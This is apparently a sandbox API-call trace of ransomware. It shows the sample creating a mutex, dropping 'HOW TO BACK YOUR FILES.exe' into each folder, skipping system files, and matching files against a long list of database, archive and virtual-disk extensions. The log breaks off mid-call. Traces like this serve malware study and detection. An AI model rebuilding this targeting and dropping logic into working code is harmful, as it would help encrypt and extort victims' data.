[0118.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ebb0 | out: hHeap=0x4f0000) returned 1 [0118.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.066] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0118.066] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.066] ReleaseMutex (hMutex=0xec) returned 1 [0118.066] CloseHandle (hObject=0xec) returned 1 [0118.066] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" [0118.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502aa8 | out: hHeap=0x4f0000) returned 1 [0118.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52af30 | out: hHeap=0x4f0000) returned 1 [0118.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders") returned 58 [0118.067] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\05BDC335098107E100CAEF47EE58B20A") returned 0xec [0118.067] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.067] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" [0118.067] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.067] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.067] GetLastError () returned 0x0 [0118.067] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.068] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.068] CloseHandle (hObject=0xf4) returned 1 [0118.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.068] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.069] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.069] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.069] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.069] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.069] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.069] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.069] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.069] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.069] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0118.069] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0118.070] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0118.070] lstrlenW (lpString="1033") returned 4 [0118.070] lstrcpyW (in: lpString1=0x241e8be, lpString2="1033" | out: lpString1="1033") returned="1033" [0118.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af30 [0118.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x54ebb0 [0118.070] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0118.070] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0118.070] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0118.072] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce100640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.072] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.072] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2=".") returned 1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="..") returned 1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="windows") returned -1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="bootmgr") returned 1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="temp") returned -1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="pagefile.sys") returned -1 [0118.072] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="boot") returned 1 [0118.073] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="ids.txt") returned 1 [0118.073] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="ntuser.dat") returned -1 [0118.073] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="perflogs") returned -1 [0118.073] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="MSBuild") returned 1 [0118.073] lstrlenW (lpString="MSOSV.DLL") returned 9 [0118.073] lstrcpyW (in: lpString1=0x241e8be, lpString2="MSOSV.DLL" | out: lpString1="MSOSV.DLL") returned="MSOSV.DLL" [0118.073] lstrlenW (lpString="MSOSV.DLL") returned 9 [0118.073] lstrlenW (lpString="Athena865") returned 9 [0118.073] lstrlenW (lpString=".dll") returned 4 [0118.073] lstrcmpiW (lpString1="MSOSV.DLL", lpString2=".dll") returned 1 [0118.073] lstrlenW (lpString=".lnk") returned 4 [0118.073] lstrcmpiW (lpString1="MSOSV.DLL", lpString2=".lnk") returned 1 [0118.073] lstrlenW (lpString=".ini") returned 4 [0118.073] lstrcmpiW (lpString1="MSOSV.DLL", lpString2=".ini") returned 1 [0118.073] lstrlenW (lpString=".sys") returned 4 [0118.073] lstrcmpiW (lpString1="MSOSV.DLL", lpString2=".sys") returned 1 [0118.073] lstrlenW (lpString="MSOSV.DLL") returned 9 [0118.073] lstrlenW (lpString="bak") returned 3 [0118.073] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0118.073] lstrlenW (lpString="ba_") returned 3 [0118.073] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0118.073] lstrlenW (lpString="dbb") returned 3 [0118.073] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0118.073] lstrlenW (lpString="vmdk") returned 4 [0118.073] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0118.073] lstrlenW (lpString="rar") returned 3 [0118.073] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0118.073] lstrlenW (lpString="zip") returned 3 [0118.073] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0118.073] lstrlenW (lpString="tgz") returned 3 [0118.073] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0118.074] lstrlenW (lpString="vbox") returned 4 [0118.074] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0118.074] lstrlenW (lpString="vdi") returned 3 [0118.074] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0118.074] lstrlenW (lpString="vhd") returned 3 [0118.074] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0118.074] lstrlenW (lpString="vhdx") returned 4 [0118.074] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0118.074] lstrlenW (lpString="avhd") returned 4 [0118.074] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0118.074] lstrlenW (lpString="db") returned 2 [0118.074] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0118.074] lstrlenW (lpString="db2") returned 3 [0118.074] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0118.074] lstrlenW (lpString="db3") returned 3 [0118.074] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0118.074] lstrlenW (lpString="dbf") returned 3 [0118.074] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0118.074] lstrlenW (lpString="mdf") returned 3 [0118.074] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0118.074] lstrlenW (lpString="mdb") returned 3 [0118.074] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0118.074] lstrlenW (lpString="sql") returned 3 [0118.074] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0118.074] lstrlenW (lpString="sqlite") returned 6 [0118.074] lstrcmpiW (lpString1="SV.DLL", lpString2="sqlite") returned 1 [0118.074] lstrlenW (lpString="sqlite3") returned 7 [0118.074] lstrcmpiW (lpString1="OSV.DLL", lpString2="sqlite3") returned -1 [0118.074] lstrlenW (lpString="sqlitedb") returned 8 [0118.074] lstrcmpiW (lpString1="SOSV.DLL", lpString2="sqlitedb") returned -1 [0118.075] lstrlenW (lpString="xml") returned 3 [0118.075] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0118.075] lstrlenW (lpString="$er") returned 3 [0118.075] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0118.075] lstrlenW (lpString="4dd") returned 3 [0118.075] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0118.075] lstrlenW (lpString="4dl") returned 3 [0118.075] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0118.075] lstrlenW (lpString="^^^") returned 3 [0118.075] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0118.075] lstrlenW (lpString="abs") returned 3 [0118.075] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0118.075] lstrlenW (lpString="abx") returned 3 [0118.075] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0118.075] lstrlenW (lpString="accdb") returned 5 [0118.075] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0118.075] lstrlenW (lpString="accdc") returned 5 [0118.075] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0118.075] lstrlenW (lpString="accde") returned 5 [0118.075] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0118.075] lstrlenW (lpString="accdr") returned 5 [0118.075] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0118.075] lstrlenW (lpString="accdt") returned 5 [0118.075] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0118.075] lstrlenW (lpString="accdw") returned 5 [0118.075] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0118.075] lstrlenW (lpString="accft") returned 5 [0118.075] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0118.075] lstrlenW (lpString="adb") returned 3 [0118.075] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0118.075] lstrlenW (lpString="adb") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0118.076] lstrlenW (lpString="ade") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0118.076] lstrlenW (lpString="adf") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0118.076] lstrlenW (lpString="adn") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0118.076] lstrlenW (lpString="adp") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0118.076] lstrlenW (lpString="alf") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0118.076] lstrlenW (lpString="ask") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0118.076] lstrlenW (lpString="btr") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0118.076] lstrlenW (lpString="cat") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0118.076] lstrlenW (lpString="cdb") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0118.076] lstrlenW (lpString="ckp") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0118.076] lstrlenW (lpString="cma") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0118.076] lstrlenW (lpString="cpd") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0118.076] lstrlenW (lpString="dacpac") returned 6 [0118.076] lstrcmpiW (lpString1="SV.DLL", lpString2="dacpac") returned 1 [0118.076] lstrlenW (lpString="dad") returned 3 [0118.076] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0118.076] lstrlenW (lpString="dadiagrams") returned 10 [0118.076] lstrlenW (lpString="daschema") returned 8 [0118.076] lstrcmpiW (lpString1="SOSV.DLL", lpString2="daschema") returned 1 [0118.077] lstrlenW (lpString="db-journal") returned 10 [0118.077] lstrlenW (lpString="db-shm") returned 6 [0118.077] lstrcmpiW (lpString1="SV.DLL", lpString2="db-shm") returned 1 [0118.077] lstrlenW (lpString="db-wal") returned 6 [0118.077] lstrcmpiW (lpString1="SV.DLL", lpString2="db-wal") returned 1 [0118.077] lstrlenW (lpString="dbc") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0118.077] lstrlenW (lpString="dbs") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0118.077] lstrlenW (lpString="dbt") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0118.077] lstrlenW (lpString="dbv") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0118.077] lstrlenW (lpString="dbx") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0118.077] lstrlenW (lpString="dcb") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0118.077] lstrlenW (lpString="dct") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0118.077] lstrlenW (lpString="dcx") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0118.077] lstrlenW (lpString="ddl") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0118.077] lstrlenW (lpString="dlis") returned 4 [0118.077] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0118.077] lstrlenW (lpString="dp1") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0118.077] lstrlenW (lpString="dqy") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0118.077] lstrlenW (lpString="dsk") returned 3 [0118.077] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0118.078] lstrlenW (lpString="dsn") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0118.078] lstrlenW (lpString="dtsx") returned 4 [0118.078] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0118.078] lstrlenW (lpString="dxl") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0118.078] lstrlenW (lpString="eco") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0118.078] lstrlenW (lpString="ecx") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0118.078] lstrlenW (lpString="edb") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0118.078] lstrlenW (lpString="epim") returned 4 [0118.078] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0118.078] lstrlenW (lpString="fcd") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0118.078] lstrlenW (lpString="fdb") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0118.078] lstrlenW (lpString="fic") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0118.078] lstrlenW (lpString="flexolibrary") returned 12 [0118.078] lstrlenW (lpString="fm5") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0118.078] lstrlenW (lpString="fmp") returned 3 [0118.078] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0118.078] lstrlenW (lpString="fmp12") returned 5 [0118.078] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0118.079] lstrlenW (lpString="fmpsl") returned 5 [0118.079] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0118.079] lstrlenW (lpString="fol") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0118.079] lstrlenW (lpString="fp3") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0118.079] lstrlenW (lpString="fp4") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0118.079] lstrlenW (lpString="fp5") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0118.079] lstrlenW (lpString="fp7") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0118.079] lstrlenW (lpString="fpt") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0118.079] lstrlenW (lpString="frm") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0118.079] lstrlenW (lpString="gdb") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0118.079] lstrlenW (lpString="gdb") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0118.079] lstrlenW (lpString="grdb") returned 4 [0118.079] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0118.079] lstrlenW (lpString="gwi") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0118.079] lstrlenW (lpString="hdb") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0118.079] lstrlenW (lpString="his") returned 3 [0118.079] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0118.079] lstrlenW (lpString="ib") returned 2 [0118.080] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0118.080] lstrlenW (lpString="idb") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0118.080] lstrlenW (lpString="ihx") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0118.080] lstrlenW (lpString="itdb") returned 4 [0118.080] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0118.080] lstrlenW (lpString="itw") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0118.080] lstrlenW (lpString="jet") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0118.080] lstrlenW (lpString="jtx") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0118.080] lstrlenW (lpString="kdb") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0118.080] lstrlenW (lpString="kexi") returned 4 [0118.080] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0118.080] lstrlenW (lpString="kexic") returned 5 [0118.080] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0118.080] lstrlenW (lpString="kexis") returned 5 [0118.080] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0118.080] lstrlenW (lpString="lgc") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0118.080] lstrlenW (lpString="lwx") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0118.080] lstrlenW (lpString="maf") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0118.080] lstrlenW (lpString="maq") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0118.080] lstrlenW (lpString="mar") returned 3 [0118.080] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0118.080] lstrlenW (lpString="marshal") returned 7 [0118.081] lstrcmpiW (lpString1="OSV.DLL", lpString2="marshal") returned 1 [0118.081] lstrlenW (lpString="mas") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0118.081] lstrlenW (lpString="mav") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0118.081] lstrlenW (lpString="maw") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0118.081] lstrlenW (lpString="mdbhtml") returned 7 [0118.081] lstrcmpiW (lpString1="OSV.DLL", lpString2="mdbhtml") returned 1 [0118.081] lstrlenW (lpString="mdn") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0118.081] lstrlenW (lpString="mdt") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0118.081] lstrlenW (lpString="mfd") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0118.081] lstrlenW (lpString="mpd") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0118.081] lstrlenW (lpString="mrg") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0118.081] lstrlenW (lpString="mud") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0118.081] lstrlenW (lpString="mwb") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0118.081] lstrlenW (lpString="myd") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0118.081] lstrlenW (lpString="ndf") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0118.081] lstrlenW (lpString="nnt") returned 3 [0118.081] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0118.081] lstrlenW (lpString="nrmlib") returned 6 [0118.082] lstrcmpiW (lpString1="SV.DLL", lpString2="nrmlib") returned 1 [0118.082] lstrlenW (lpString="ns2") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0118.082] lstrlenW (lpString="ns3") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0118.082] lstrlenW (lpString="ns4") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0118.082] lstrlenW (lpString="nsf") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0118.082] lstrlenW (lpString="nv") returned 2 [0118.082] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0118.082] lstrlenW (lpString="nv2") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0118.082] lstrlenW (lpString="nwdb") returned 4 [0118.082] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0118.082] lstrlenW (lpString="nyf") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0118.082] lstrlenW (lpString="odb") returned 3 [0118.082] lstrcmpiW 